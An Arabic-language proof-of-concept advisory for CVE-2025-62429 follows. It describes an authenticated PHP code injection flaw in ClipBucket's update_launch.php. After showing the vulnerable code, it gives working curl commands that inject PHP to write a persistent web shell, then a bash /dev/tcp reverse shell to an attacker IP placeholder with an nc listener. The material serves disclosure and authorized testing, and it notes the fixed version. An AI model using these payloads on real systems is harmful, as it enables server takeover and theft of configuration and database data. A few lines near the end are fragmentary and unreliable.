
إثبات مفهوم لتنفيذ التعليمات البرمجية عن بُعد مصادق عليه في ClipBucket عبر حقن كود PHP في update_launch.php. يتضمن مراحل نشر قشرة الويب والقشرة العكسية لاختبار الاختراق المصرح به.
إثبات المفهوم لثغرة تنفيذ الأوامر عن بعد (RCE) عبر حقن كود PHP في update_launch.php
الإفصاح: تم الإبلاغ عنها أصلاً من قبلي عبر GHSA-3h9c-7j8r-xc3v
⚠️ للاستخدام المصرح به في الاختبارات الأمنية أو الأبحاث فقط.
| الحقل | القيمة |
|---|
| معرف CVE | CVE-2025-62429 |
| الخطورة | 🔴 عالية |
| درجة CVSS | 7.2 |
| متجه CVSS | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| تصنيف CWE | CWE-78: حقن أوامر نظام التشغيل، CWE-94: حقن الكود |
| المنتج المتأثر | ClipBucket <= 5.5.3 - #79 |
| الإصدار المُصَحَّح | 5.5.3 - #80 |
| الإشعار الأمني | GHSA-3h9c-7j8r-xc3v |
توجد ثغرة تنفيذ أوامر عن بعد (RCE) مُصادق عليه في ClipBucket v5.5.3-61. تُصنف الثغرة ضمن CWE-94: التحكم غير السليم في توليد الكود (حقن الكود). يفشل التطبيق في تنقية المدخلات التي يتحكم بها المستخدم بشكل صحيح، والتي تُستخدم لتوليد كود PHP قابل للتنفيذ في update_launch.php. يمكن لمسؤول مُصادق عليه استغلال ذلك لتحقيق تنفيذ أوامر كامل على الخادم الأساسي، وترقية الصلاحيات من مسؤول ويب إلى مستخدم النظام (مثل containeruser).
تقع الثغرة في upload/admin_area/actions/update_launch.php. يُسهل هذا السكريبت تحديثات النظام من خلال إنشاء سكريبت خلفي مؤقت بلغة PHP ديناميكياً.
مقطع الكود المُعَرَّض للثغرة: upload/admin_area/actions/update_launch.php (الأسطر 40-86)
// يتم دمج إدخال المستخدم من $_POST['type'] مباشرة في سلسلة PHP.
$data = '<?php
if (php_sapi_name() != \'cli\') { die; }
...
$type = \'' . $_POST['type'] . '\'; // <--- الثغرة: دمج مباشر
...
?>';
fwrite($tmp_file, $data);
fclose($tmp_file);
// يتم تنفيذ الملف المُنشأ عبر shell_exec باستخدام PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);


آلية الاستغلال:
نظرًا لأن المعامل type يُدمج في سلسلة $data دون هروب أو تنقية، يمكن للمهاجم استخدام علامة اقتباس مفردة (') للخروج من سياق السلسلة النصية. يمكنه بعد ذلك حقن دوال PHP عشوائية (مثل system() أو file_put_contents()) وتعليق باقي الكود الأصلي باستخدام //. يؤدي ذلك إلى تنفيذ كود يُقدمه المهاجم بصلاحيات عملية PHP-CLI.
PHPSESSID.
نثبت أولاً وجود الثغرة من خلال نشر قشرة ويب دائمة في جذر المستندات.
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', '<?php system(\$_GET[\"cmd\"]); ?>'); //"

curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# الرد المتوقع: uid=1000(containeruser) gid=1000(containeruser) ...

بعد تأكيد RCE، يتم إنشاء قشرة تفاعلية لمرحلة ما بعد الاستغلال.
nc -lvnp 4444

curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"


يتلقى جهاز المهاجم اتصالاً، مما يمنح وصولاً كاملاً لقشرة تفاعلية كمستخدم containeruser.
يسمح الاستغلال الناجح للمهاجم بتنفيذ أوامر نظام عشوائية. ينتج عن ذلك:
config.inc.php) وقاعدة البيانات بأكملها.ترتبط هذه المشكلة بالثغرة المُفصح عنها سابقاً:
بعد مزيد من التحليل، تبيّن أن الثغرة لا تزال قائمة في ClipBucket v5.5.3 بسبب إصلاح غير كامل.
بينما عالج الإشعار الأصلي جزءاً من المشكلة، ظل متجه حقن كود PHP عبر المعامل type في update_launch.php قابلاً للاستغلال.
يقدم هذا الإشعار تفاصيل تقنية إضافية، والتحقق على الإصدار الأحدث، وسيناريو استغلال كامل من البداية إلى النهاية.